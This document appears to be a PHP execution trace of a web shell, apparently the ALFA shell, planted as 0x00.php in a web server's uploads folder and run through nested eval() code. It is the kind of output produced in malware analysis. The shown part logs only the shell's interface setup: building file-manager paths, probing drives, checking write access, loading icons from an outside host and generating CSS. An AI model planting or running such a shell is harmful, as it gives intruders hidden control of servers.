6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 851 $cwd_links .= 'var/'
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 852 $cach_cwd_path .= 'var/'
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 850 $j++
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 851 $cwd_links .= 'www/'
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 852 $cach_cwd_path .= 'www/'
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 850 $j++
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 854 $cwd_links .= '")\' path=\'/var/www/\' href=\'#action=fileman&path=/var/www/\'>www/</a>'
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 847 $i++
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 848 $cwd_links .= '<a class=\'header_pwd\' onclick=\'g("FilesMan","'
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 849 $cach_cwd_path = ''
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 850 $j = 0
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 851 $cwd_links .= '/'
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 852 $cach_cwd_path .= '/'
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 850 $j++
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 851 $cwd_links .= 'var/'
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 852 $cach_cwd_path .= 'var/'
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 850 $j++
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 851 $cwd_links .= 'www/'
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 852 $cach_cwd_path .= 'www/'
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 850 $j++
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 851 $cwd_links .= 'html/'
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 852 $cach_cwd_path .= 'html/'
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 850 $j++
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 854 $cwd_links .= '")\' path=\'/var/www/html/\' href=\'#action=fileman&path=/var/www/html/\'>html/</a>'
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 847 $i++
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 848 $cwd_links .= '<a class=\'header_pwd\' onclick=\'g("FilesMan","'
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 849 $cach_cwd_path = ''
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 850 $j = 0
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 851 $cwd_links .= '/'
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 852 $cach_cwd_path .= '/'
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 850 $j++
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 851 $cwd_links .= 'var/'
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 852 $cach_cwd_path .= 'var/'
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 850 $j++
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 851 $cwd_links .= 'www/'
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 852 $cach_cwd_path .= 'www/'
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 850 $j++
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 851 $cwd_links .= 'html/'
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 852 $cach_cwd_path .= 'html/'
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 850 $j++
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 851 $cwd_links .= 'uploads/'
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 852 $cach_cwd_path .= 'uploads/'
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 850 $j++
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 854 $cwd_links .= '")\' path=\'/var/www/html/uploads/\' href=\'#action=fileman&path=/var/www/html/uploads/\'>uploads/</a>'
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 847 $i++
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 856 $drives = ''
7 105 0 0.060366 3771568 range 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 857 2 'a' 'z'
7 105 1 0.060382 3772968
7 105 R [0 => 'a', 1 => 'b', 2 => 'c', 3 => 'd', 4 => 'e', 5 => 'f', 6 => 'g', 7 => 'h', 8 => 'i', 9 => 'j', 10 => 'k', 11 => 'l', 12 => 'm', 13 => 'n', 14 => 'o', 15 => 'p', 16 => 'q', 17 => 'r', 18 => 's', 19 => 't', 20 => 'u', 21 => 'v', 22 => 'w', 23 => 'x', 24 => 'y', 25 => 'z']
7 106 0 0.060414 3772936 is_dir 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 858 1 'a:\\'
7 106 1 0.060437 3772976
7 106 R FALSE
7 107 0 0.060451 3772936 is_dir 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 858 1 'b:\\'
7 107 1 0.060469 3772976
7 107 R FALSE
7 108 0 0.060482 3772936 is_dir 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 858 1 'c:\\'
7 108 1 0.060498 3772976
7 108 R FALSE
7 109 0 0.060512 3772936 is_dir 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 858 1 'd:\\'
7 109 1 0.060528 3772976
7 109 R FALSE
7 110 0 0.060542 3772936 is_dir 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 858 1 'e:\\'
7 110 1 0.060558 3772976
7 110 R FALSE
7 111 0 0.060571 3772936 is_dir 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 858 1 'f:\\'
7 111 1 0.060587 3772976
7 111 R FALSE
7 112 0 0.060600 3772936 is_dir 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 858 1 'g:\\'
7 112 1 0.060617 3772976
7 112 R FALSE
7 113 0 0.060630 3772936 is_dir 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 858 1 'h:\\'
7 113 1 0.060646 3772976
7 113 R FALSE
7 114 0 0.060659 3772936 is_dir 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 858 1 'i:\\'
7 114 1 0.060679 3772976
7 114 R FALSE
7 115 0 0.060692 3772936 is_dir 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 858 1 'j:\\'
7 115 1 0.060709 3772976
7 115 R FALSE
7 116 0 0.060722 3772936 is_dir 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 858 1 'k:\\'
7 116 1 0.060738 3772976
7 116 R FALSE
7 117 0 0.060750 3772936 is_dir 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 858 1 'l:\\'
7 117 1 0.060765 3772976
7 117 R FALSE
7 118 0 0.060778 3772936 is_dir 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 858 1 'm:\\'
7 118 1 0.060793 3772976
7 118 R FALSE
7 119 0 0.060806 3772936 is_dir 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 858 1 'n:\\'
7 119 1 0.060821 3772976
7 119 R FALSE
7 120 0 0.060834 3772936 is_dir 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 858 1 'o:\\'
7 120 1 0.060850 3772976
7 120 R FALSE
7 121 0 0.060864 3772936 is_dir 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 858 1 'p:\\'
7 121 1 0.060880 3772976
7 121 R FALSE
7 122 0 0.060893 3772936 is_dir 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 858 1 'q:\\'
7 122 1 0.060908 3772976
7 122 R FALSE
7 123 0 0.060921 3772936 is_dir 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 858 1 'r:\\'
7 123 1 0.060936 3772976
7 123 R FALSE
7 124 0 0.060949 3772936 is_dir 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 858 1 's:\\'
7 124 1 0.060964 3772976
7 124 R FALSE
7 125 0 0.060977 3772936 is_dir 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 858 1 't:\\'
7 125 1 0.060993 3772976
7 125 R FALSE
7 126 0 0.061005 3772936 is_dir 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 858 1 'u:\\'
7 126 1 0.061020 3772976
7 126 R FALSE
7 127 0 0.061033 3772936 is_dir 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 858 1 'v:\\'
7 127 1 0.061048 3772976
7 127 R FALSE
7 128 0 0.061060 3772936 is_dir 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 858 1 'w:\\'
7 128 1 0.061075 3772976
7 128 R FALSE
7 129 0 0.061088 3772936 is_dir 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 858 1 'x:\\'
7 129 1 0.061123 3772976
7 129 R FALSE
7 130 0 0.061136 3772936 is_dir 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 858 1 'y:\\'
7 130 1 0.061153 3772976
7 130 R FALSE
7 131 0 0.061166 3772936 is_dir 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 858 1 'z:\\'
7 131 1 0.061182 3772976
7 131 R FALSE
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 860 $csscode = '\t-moz-animation-name: spin;-moz-animation-iteration-count: infinite;-moz-animation-timing-function: linear;-moz-animation-duration: 1s;-webkit-animation-name: spin;-webkit-animation-iteration-count: infinite;-webkit-animation-timing-function: linear;-webkit-animation-duration: 1s;-ms-animation-name: spin;-ms-animation-iteration-count: infinite;-ms-animation-timing-function: linear;-ms-animation-duration: 1s;animation-name: spin;animation-iteration-count: infinite;animation-timing-function: linear;animation'
7 132 0 0.061219 3771568 __showicon 1 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 866 1 'alfamini'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 1045 $s['btn'] = 'http://solevisible.com/images/btn.png'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 1046 $s['alfamini'] = 'http://solevisible.com/images/alfamini.png'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 1047 $s['loader'] = 'http://solevisible.com/images/loader.svg'
7 132 1 0.061280 3771568
7 132 R 'http://solevisible.com/images/alfamini.png'
7 133 0 0.061610 3786528 alfa_getColor 1 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 877 1 'header_values'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 448 $target = '#67ABDF'
7 133 1 0.061652 3786528
7 133 R '#67ABDF'
7 134 0 0.061667 3788064 __showicon 1 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 877 1 'alfamini'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 1045 $s['btn'] = 'http://solevisible.com/images/btn.png'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 1046 $s['alfamini'] = 'http://solevisible.com/images/alfamini.png'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 1047 $s['loader'] = 'http://solevisible.com/images/loader.svg'
7 134 1 0.061729 3788064
7 134 R 'http://solevisible.com/images/alfamini.png'
7 135 0 0.061747 3792160 __showicon 1 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 877 1 'alfamini'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 1045 $s['btn'] = 'http://solevisible.com/images/btn.png'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 1046 $s['alfamini'] = 'http://solevisible.com/images/alfamini.png'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 1047 $s['loader'] = 'http://solevisible.com/images/loader.svg'
7 135 1 0.061806 3792160
7 135 R 'http://solevisible.com/images/alfamini.png'
7 136 0 0.061822 3792160 __showicon 1 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 877 1 'btn'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 1045 $s['btn'] = 'http://solevisible.com/images/btn.png'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 1046 $s['alfamini'] = 'http://solevisible.com/images/alfamini.png'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 1047 $s['loader'] = 'http://solevisible.com/images/loader.svg'
7 136 1 0.061878 3792160
7 136 R 'http://solevisible.com/images/btn.png'
7 137 0 0.061895 3792160 is_writable 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 878 1 '/var/www/html/uploads/'
7 137 1 0.061914 3792200
7 137 R TRUE
7 138 0 0.061929 3796256 alfaCssLoadColors 1 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 878 0
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 457 $css = ''
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 458 $key = 'shell_border'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 464 $k = '.header'
8 139 0 0.061985 3796256 alfa_getColor 1 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 465 1 'shell_border'
8 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 448 $target = ['key_color' => '#0E304A', 'multi_selector' => ['.header' => 'border: 7px solid {color}', '#meunlist' => 'border-color: {color}', '#hidden_sh' => 'background-color: {color}', '.ajaxarea' => 'border: 1px solid {color}', '.foot' => 'border-color: {color}']]
8 139 1 0.062025 3796256
8 139 R '#0E304A'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 465 $color = '#0E304A'
8 140 0 0.062052 3796256 str_replace 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 466 3 '{color}' '#0E304A' 'border: 7px solid {color}'
8 140 1 0.062070 3796408
8 140 R 'border: 7px solid #0E304A'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 466 $code = 'border: 7px solid #0E304A'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 467 $css .= '.header{border: 7px solid #0E304A}'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 464 $k = '#meunlist'
8 141 0 0.062129 3796376 alfa_getColor 1 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 465 1 'shell_border'
8 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 448 $target = ['key_color' => '#0E304A', 'multi_selector' => ['.header' => 'border: 7px solid {color}', '#meunlist' => 'border-color: {color}', '#hidden_sh' => 'background-color: {color}', '.ajaxarea' => 'border: 1px solid {color}', '.foot' => 'border-color: {color}']]
8 141 1 0.062172 3796376
8 141 R '#0E304A'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 465 $color = '#0E304A'
8 142 0 0.062199 3796376 str_replace 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 466 3 '{color}' '#0E304A' 'border-color: {color}'
8 142 1 0.062217 3796520
8 142 R 'border-color: #0E304A'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 466 $code = 'border-color: #0E304A'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 467 $css .= '#meunlist{border-color: #0E304A}'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 464 $k = '#hidden_sh'
8 143 0 0.062274 3796400 alfa_getColor 1 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 465 1 'shell_border'
8 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 448 $target = ['key_color' => '#0E304A', 'multi_selector' => ['.header' => 'border: 7px solid {color}', '#meunlist' => 'border-color: {color}', '#hidden_sh' => 'background-color: {color}', '.ajaxarea' => 'border: 1px solid {color}', '.foot' => 'border-color: {color}']]
8 143 1 0.062311 3796400
8 143 R '#0E304A'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 465 $color = '#0E304A'
8 144 0 0.062337 3796400 str_replace 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 466 3 '{color}' '#0E304A' 'background-color: {color}'
8 144 1 0.062355 3796552
8 144 R 'background-color: #0E304A'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 466 $code = 'background-color: #0E304A'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 467 $css .= '#hidden_sh{background-color: #0E304A}'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 464 $k = '.ajaxarea'
8 145 0 0.062413 3796440 alfa_getColor 1 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 465 1 'shell_border'
8 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 448 $target = ['key_color' => '#0E304A', 'multi_selector' => ['.header' => 'border: 7px solid {color}', '#meunlist' => 'border-color: {color}', '#hidden_sh' => 'background-color: {color}', '.ajaxarea' => 'border: 1px solid {color}', '.foot' => 'border-color: {color}']]
8 145 1 0.062450 3796440
8 145 R '#0E304A'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 465 $color = '#0E304A'
8 146 0 0.062476 3796440 str_replace 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 466 3 '{color}' '#0E304A' 'border: 1px solid {color}'
8 146 1 0.062494 3796592
8 146 R 'border: 1px solid #0E304A'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 466 $code = 'border: 1px solid #0E304A'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 467 $css .= '.ajaxarea{border: 1px solid #0E304A}'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 464 $k = '.foot'
8 147 0 0.062550 3796504 alfa_getColor 1 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 465 1 'shell_border'
8 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 448 $target = ['key_color' => '#0E304A', 'multi_selector' => ['.header' => 'border: 7px solid {color}', '#meunlist' => 'border-color: {color}', '#hidden_sh' => 'background-color: {color}', '.ajaxarea' => 'border: 1px solid {color}', '.foot' => 'border-color: {color}']]
8 147 1 0.062593 3796504
8 147 R '#0E304A'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 465 $color = '#0E304A'
8 148 0 0.062626 3796504 str_replace 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 466 3 '{color}' '#0E304A' 'border-color: {color}'
8 148 1 0.062644 3796648
8 148 R 'border-color: #0E304A'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 466 $code = 'border-color: #0E304A'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 467 $css .= '.foot{border-color: #0E304A}'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 458 $key = 'header_vars'
8 149 0 0.062706 3796496 alfa_getColor 1 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 460 1 'header_vars'
8 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 448 $target = '#27979B'
8 149 1 0.062736 3796496
8 149 R '#27979B'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 460 $value = '#27979B'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 461 $css .= '.header_vars{color: #27979B;}'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 458 $key = 'header_values'
8 150 0 0.062792 3796528 alfa_getColor 1 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 460 1 'header_values'
8 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 448 $target = '#67ABDF'
8 150 1 0.062821 3796528
8 150 R '#67ABDF'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 460 $value = '#67ABDF'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 461 $css .= '.header_values{color: #67ABDF;}'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 458 $key = 'header_on'
8 151 0 0.062876 3796560 alfa_getColor 1 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 460 1 'header_on'
8 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 448 $target = '#00FF00'
8 151 1 0.062905 3796560
8 151 R '#00FF00'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 460 $value = '#00FF00'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 461 $css .= '.header_on{color: #00FF00;}'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 458 $key = 'header_off'
8 152 0 0.062958 3796624 alfa_getColor 1 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 460 1 'header_off'
8 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 448 $target = '#ff0000'
8 152 1 0.062986 3796624
8 152 R '#ff0000'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 460 $value = '#ff0000'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 461 $css .= '.header_off{color: #ff0000;}'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 458 $key = 'header_none'
8 153 0 0.063040 3796624 alfa_getColor 1 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 460 1 'header_none'
8 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 448 $target = '#00FF00'
8 153 1 0.063068 3796624
8 153 R '#00FF00'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 460 $value = '#00FF00'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 461 $css .= '.header_none{color: #00FF00;}'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 458 $key = 'home_shell'
8 154 0 0.063121 3796688 alfa_getColor 1 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 460 1 'home_shell'
8 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 448 $target = '#ff0000'
8 154 1 0.063149 3796688
8 154 R '#ff0000'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 460 $value = '#ff0000'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 461 $css .= '.home_shell{color: #ff0000;}'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 458 $key = 'home_shell:hover'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 464 $k = '.home_shell:hover'
8 155 0 0.063220 3796688 alfa_getColor 1 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 465 1 'home_shell:hover'
8 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 448 $target = ['key_color' => '#FFFFFF', 'multi_selector' => ['.home_shell:hover' => 'color: {color};']]
8 155 1 0.063254 3796688
8 155 R '#FFFFFF'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 465 $color = '#FFFFFF'
8 156 0 0.063280 3796688 str_replace 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 466 3 '{color}' '#FFFFFF' 'color: {color};'
8 156 1 0.063297 3796824
8 156 R 'color: #FFFFFF;'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 466 $code = 'color: #FFFFFF;'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 467 $css .= '.home_shell:hover{color: #FFFFFF;}'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 458 $key = 'back_shell'
8 157 0 0.063353 3796744 alfa_getColor 1 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 460 1 'back_shell'
8 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 448 $target = '#efbe73'
8 157 1 0.063382 3796744
8 157 R '#efbe73'
